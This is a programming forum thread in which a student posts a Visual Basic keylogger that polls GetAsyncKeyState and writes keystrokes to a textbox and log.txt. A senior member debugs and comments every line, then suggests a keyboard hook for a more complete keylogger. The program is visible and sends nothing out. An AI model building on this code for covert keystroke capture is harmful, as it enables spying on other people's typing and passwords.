Results 1 to 19 of 19

Thread: Keylogger Help!!

  1. #1

    Thread Starter
    New Member
    Join Date
    Jun 2007
    Posts
    9

    Keylogger Help!!

    hi, i was just wondering if there was anyone who can run through a small section of code for me and place remarks on each line, describing what the line of code does?

    message me with your msn if you think you can help

  2. #2
    coder. Lord Orwell's Avatar
    Join Date
    Feb 2001
    Location
    Elberfeld, IN
    Posts
    7,628

    Re: Keylogger Help!!

    just post the code here. Someone will see it eventually. Also not all of the coder(z)s have (gag)msn (swallows bile again).
    My light show youtube page (it's made the news) www.youtube.com/@lightsofelberfeld
    Contact me on the socials www.facebook.com/lordorwell

  3. #3

    Thread Starter
    New Member
    Join Date
    Jun 2007
    Posts
    9

    Re: Keylogger Help!!

    Dim blnlogging As Boolean

    Private Sub cmdLog_Click()
    cmdLog.Enabled = False
    cmdStop.Enabled = True
    blnlogging = True

    Do While blnlogging = True
    DoEvents

    If GetAsyncKeyState(8) = -32767 Then
    Text1 = Text1 & "[backspace]"
    End If
    If GetAsyncKeyState(9) = -32767 Then
    Text1 = Text1 & "[tab]"
    End If
    If GetAsyncKeyState(27) = -32767 Then
    Text1 = Text1 & "[esc]"
    End If

    For i = 32 To 127 'logs in ascii order, not acurate
    result = 0
    result = GetAsyncKeyState(i)

    If result = -32767 Then
    If GetAsyncKeyState(16) <= -32767 Then 'shift is pressed or held
    Text1.Text = Text1.Text + UCase(Chr(i))
    'checkshow Asc(UCase(Chr(i)))
    Else
    Text1.Text = Text1.Text + LCase(Chr(i))
    'checkshow Asc(LCase(Chr(i)))
    End If

    If GetAsyncKeyState(13) = -32767 Then 'enterkey
    Text1.Text = Text1.Text & vbCrLf
    End If
    End If
    Next i
    DoEvents

    Loop
    End Sub

    Private Sub cmdStop_Click()
    cmdLog.Enabled = True
    cmdStop.Enabled = False
    blnlogging = False
    End Sub

    Private Sub Form_Unload(Cancel As Integer)
    logging = False

    Open App.Path & "\log.txt" For Append As #1
    Print #1, Text1.Text
    Close #1
    End Sub




    then in the module i have...



    Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

  4. #4
    coder. Lord Orwell's Avatar
    Join Date
    Feb 2001
    Location
    Elberfeld, IN
    Posts
    7,628

    Re: Keylogger Help!!

    ok this is a basic setup. Getasynckeystate will read the current state of the keyboard one key at a time. I have to tell you i don't like the way this is written. If they used the correct data types they wouldn't have negative numbers. It also looks like it would only read the keypress every other keypress, because it is reading an absolute value for each key and only one bit of the read value indicates the current key position. The rest is toggle up/down, etc which change with each keypress. could you post that again inside some code tags? If you don't it is much harder to read because it kills the indents.
    Last edited by Lord Orwell; Jun 22nd, 2007 at 11:56 PM.
    My light show youtube page (it's made the news) www.youtube.com/@lightsofelberfeld
    Contact me on the socials www.facebook.com/lordorwell

  5. #5

    Thread Starter
    New Member
    Join Date
    Jun 2007
    Posts
    9

    Re: Keylogger Help!!

    Code:
    Dim blnlogging As Boolean
    
    Private Sub cmdLog_Click()
    cmdLog.Enabled = False
    cmdStop.Enabled = True
    blnlogging = True
    
    Do While blnlogging = True
        DoEvents
        
        If GetAsyncKeyState(8) = -32767 Then
            Text1 = Text1 & "[backspace]"
        End If
        If GetAsyncKeyState(9) = -32767 Then
            Text1 = Text1 & "[tab]"
        End If
        If GetAsyncKeyState(27) = -32767 Then
            Text1 = Text1 & "[esc]"
        End If
        
        For i = 32 To 127   'logs in ascii order, not acurate
            result = 0
            result = GetAsyncKeyState(i)
    
            If result = -32767 Then
                If GetAsyncKeyState(16) <= -32767 Then    'shift is pressed or held
                    Text1.Text = Text1.Text + UCase(Chr(i))
                    'checkshow Asc(UCase(Chr(i)))
                Else
                    Text1.Text = Text1.Text + LCase(Chr(i))
                    'checkshow Asc(LCase(Chr(i)))
                End If
                
                If GetAsyncKeyState(13) = -32767 Then    'enterkey
                    Text1.Text = Text1.Text & vbCrLf
                End If
            End If
        Next i
        DoEvents
    
    Loop
    End Sub
    
    Private Sub cmdStop_Click()
    cmdLog.Enabled = True
    cmdStop.Enabled = False
    blnlogging = False
    End Sub
    
    Private Sub Form_Unload(Cancel As Integer)
    logging = False
    
    Open App.Path & "\log.txt" For Append As #1
        Print #1, Text1.Text
    Close #1
    End Sub

    Code:
    Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Last edited by Will13; Jun 23rd, 2007 at 12:07 AM.

  6. #6
    coder. Lord Orwell's Avatar
    Join Date
    Feb 2001
    Location
    Elberfeld, IN
    Posts
    7,628

    Re: Keylogger Help!!

    every line in that program that looks like this:
    Code:
    If GetAsyncKeyState(13) = -32767 Then
    should be changed to this
    Code:
    if (GetAsyncKeyState(13) AND 1) = 1 then
    This will stop duplicates, and will be accurate as long as you call it often enough.
    My light show youtube page (it's made the news) www.youtube.com/@lightsofelberfeld
    Contact me on the socials www.facebook.com/lordorwell

  7. #7

    Thread Starter
    New Member
    Join Date
    Jun 2007
    Posts
    9

    Re: Keylogger Help!!

    hmmm

    you know a lot more than i do lol...

    what i need is a remark at the end of each line explaining what it does. the code will be marked, and appropriate remarks need to be included to gain full marks for internal documentation...do you think you would be capable of doing that?

  8. #8
    coder. Lord Orwell's Avatar
    Join Date
    Feb 2001
    Location
    Elberfeld, IN
    Posts
    7,628

    Re: Keylogger Help!!

    Edit that post and change vbcode to code. It won't cut and paste properly and it has line numbers that have to be erased.
    My light show youtube page (it's made the news) www.youtube.com/@lightsofelberfeld
    Contact me on the socials www.facebook.com/lordorwell

  9. #9

    Thread Starter
    New Member
    Join Date
    Jun 2007
    Posts
    9

    Re: Keylogger Help!!

    done

  10. #10
    coder. Lord Orwell's Avatar
    Join Date
    Feb 2001
    Location
    Elberfeld, IN
    Posts
    7,628

    Re: Keylogger Help!!

    Code:
       
          Dim blnlogging As Boolean
       'This global variable is used as a marker.  If it is ever set to false, the program exits the loop
       
          Private Sub cmdLog_Click()
             cmdLog.Enabled = False ' disable the button you just clicked
       
          cmdStop.Enabled = True 'enable the stop button
          blnlogging = True 'assign a true value to this variable.
                            'this variable is used to exit the loop if it is ever set to false
          Do While blnlogging = True 'see notes on blnlogging
              DoEvents 'gives control to system.  probably not necessary here.  I would remove it.
              
              'Notes on the implementation of GetAsyncKeyState:
              'this api call will return both the current value of
              'whatever key scancode is passed to it (in bit 15) as
              'well as whether or not it has been pressed since last
              'reading the key.  This implementation only checks the
              'last state in order to prevent key duplicates in the
              'text box.  This is accomplished by ANDing the return
              'value of the call with 1, which filters out everything
              'except the first bit.
              
              If (GetAsyncKeyState(8) And 1) = 1 Then ' 8 is scancode for backspace
                 Text1 = Text1 & "[backspace]"
              End If
              If (GetAsyncKeyState(9) And 1) = 1 Then ' 9 is scancode for tab
                    Text1 = Text1 & "[tab]"
                End If
              If (GetAsyncKeyState(27) And 1) = 1 Then 'esc key
                 Text1 = Text1 & "[esc]"
              End If
              If (GetAsyncKeyState(13) And 1) = 1 Then    'enterkey (moved it- in old location it was being 128 times instead of once per loop)
                 Text1.Text = Text1.Text & vbCrLf
              End If
              
              'the following For Next loop sends every scan code to
              'getasynckeystate one at a time.
              For i = 32 To 127   'logs in ascii order, not acurate
                  result = 0 'not important. Could probably remove
                  result = GetAsyncKeyState(i)
                  If (result And 1) = 1 Then 'see above note on implementation
                                         
                      If GetAsyncKeyState(16) > 0 Then    'shift is pressed or held
                                                          'read differently to take into account holding it down.
                          Text1.Text = Text1.Text + UCase(Chr(i)) 'makes character upper case before adding it to box
                      Else
                          Text1.Text = Text1.Text + LCase(Chr(i)) 'shift isn't pressed, so make it lower case
                      End If
                  End If
              Next i
              If DoEvents = 0 Then Exit Do 'doevents gives control to system, and returns a value equal to # of open forms
                                            'if 0 forms open, it assumes you closed program and exits the loop
          Loop
      
          End Sub
          Private Sub cmdStop_Click()
             cmdLog.Enabled = True 'turns on a button
           cmdStop.Enabled = False ' disable the button you just clicked
            blnlogging = False ' used to exit the do/loop above
      
          End Sub
      
           
      
          Private Sub Form_Unload(Cancel As Integer)
      
          blnlogging = False 'this variable shuts off the do loop
            Open App.Path & "\log.txt" For Append As #1 ' output file is opened to add data to the end of it
                Print #1, Text1.Text ' outputs the text in text1 to the output file opened in the previous line
            Close #1 ' closes the opened file
            End Sub
    My light show youtube page (it's made the news) www.youtube.com/@lightsofelberfeld
    Contact me on the socials www.facebook.com/lordorwell

  11. #11
    coder. Lord Orwell's Avatar
    Join Date
    Feb 2001
    Location
    Elberfeld, IN
    Posts
    7,628

    Re: Keylogger Help!!

    Note, even if you switch back the code changes, I corrected a major dangerous glaring code error.
    When your form unloads in your old code, it resets a non-existend variable to false. It should have been setting blnlogging to false.
    This mistake will prevent the program from ever actually closing.

    Change #2: The check for the enter key is in the wrong place. i moved it. It doesn't belong inside the for loop. This is a major performance and accuracy hit for the entire program.
    My light show youtube page (it's made the news) www.youtube.com/@lightsofelberfeld
    Contact me on the socials www.facebook.com/lordorwell

  12. #12

    Thread Starter
    New Member
    Join Date
    Jun 2007
    Posts
    9

    Re: Keylogger Help!!

    ok sounds good, ill add that code into the program and test it out, ill get back to you in about 10 mins

  13. #13

    Thread Starter
    New Member
    Join Date
    Jun 2007
    Posts
    9

    Re: Keylogger Help!!

    ok heres a few questions on what you've done -

    Text1.Text = Text1.Text & vbCrLf

    what does the vbCrLf mean in this line?


    why arent escape, enter and tab included in the for next loop, and when i press those keys, they arent printed in the text box, is this because they are separate to what is in the for next loop?

  14. #14
    coder. Lord Orwell's Avatar
    Join Date
    Feb 2001
    Location
    Elberfeld, IN
    Posts
    7,628

    Re: Keylogger Help!!

    vbcrlf = "you pressed the enter key" it tells the textbox to start a new line. I didn't actually do that. It was already there.

    It doesn't type "enter", it actually starts a new line. All of your checking is in a do:loop so they are in a loop too. If it isn't recording them in the textbox when you press them, then the checking is flawed for them. Change their check back to the way you had it.
    My light show youtube page (it's made the news) www.youtube.com/@lightsofelberfeld
    Contact me on the socials www.facebook.com/lordorwell

  15. #15

    Thread Starter
    New Member
    Join Date
    Jun 2007
    Posts
    9

    Re: Keylogger Help!!

    ok thanks, ill come back here in a few days if i need anymore help, much appreciated

  16. #16
    coder. Lord Orwell's Avatar
    Join Date
    Feb 2001
    Location
    Elberfeld, IN
    Posts
    7,628

    Re: Keylogger Help!!

    thank me by voting for me in the most popular member contest thread by the way you must have 20 posts or more for your ratings you give to be worth anything. But thanks anyway
    My light show youtube page (it's made the news) www.youtube.com/@lightsofelberfeld
    Contact me on the socials www.facebook.com/lordorwell

  17. #17

    Thread Starter
    New Member
    Join Date
    Jun 2007
    Posts
    9

    Re: Keylogger Help!!

    consider it done!

  18. #18
    New Member
    Join Date
    Dec 2005
    Posts
    15

    Re: Keylogger Help!!

    in this code the program dose not recognize the shift, controll, alt,...... buttons

  19. #19
    coder. Lord Orwell's Avatar
    Join Date
    Feb 2001
    Location
    Elberfeld, IN
    Posts
    7,628

    Re: Keylogger Help!!

    so? Add them. They have constants just like the enter key does. Note that it will be very hard to determine if the ctrl or shift key is actually still pressed when you check another letter with this program. Your only option to make this 100% is to hook the keyboard. A side effect of a keyboard hook is that you don't need to call the code in a timer. It will be called automatically with each keypress.
    check out this forum page:
    http://www.vbforums.com/showpost.php...10&postcount=4
    you can easily make this into a keylogger by adding the code in the KeybCallback function. most virtual keys are equal to ascii codes so the coding is pretty straightforward.
    My light show youtube page (it's made the news) www.youtube.com/@lightsofelberfeld
    Contact me on the socials www.facebook.com/lordorwell

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width